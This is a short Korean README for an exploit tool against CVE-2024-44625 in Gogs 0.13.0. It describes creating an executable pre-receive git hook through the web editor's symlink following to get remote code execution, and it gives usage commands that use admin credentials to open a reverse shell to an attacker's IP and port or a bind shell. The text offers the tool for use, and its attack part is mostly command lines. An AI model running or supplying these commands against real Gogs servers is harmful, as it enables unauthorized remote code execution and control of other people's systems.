
CVE-2024-44625에 대한 익스플로잇으로, Gogs 0.13.0에서 심볼릭 링크 추적을 통해 git 훅을 생성하여 원격 코드 실행을 달성하며, 리버스 및 바인드 셸 모드를 지원합니다.
리버스 프록시 뒤에 있는 0.13.0 시대의 Gogs를 대상으로 검증되었습니다.
기본 원리: 웹 편집기의 심볼릭 링크 추적을 통해 존재하지 않는 .git/hooks/pre-receive 파일을 생성(실행 가능)합니다. 이후 해당 저장소에 대한 모든 푸시가 이 훅을 실행합니다.
사용법:
python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
--mode reverse --lhost <YOUR_IP> --lport 4444
python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
--mode bind --bind-port 5555
python3 gogs_rce_shell.py --url http://host --user admin1 --pass 'P@ss' \
--mode reverse --lhost IP --lport 4444 --repo <name> --reuse --triggers 3
참고 사항: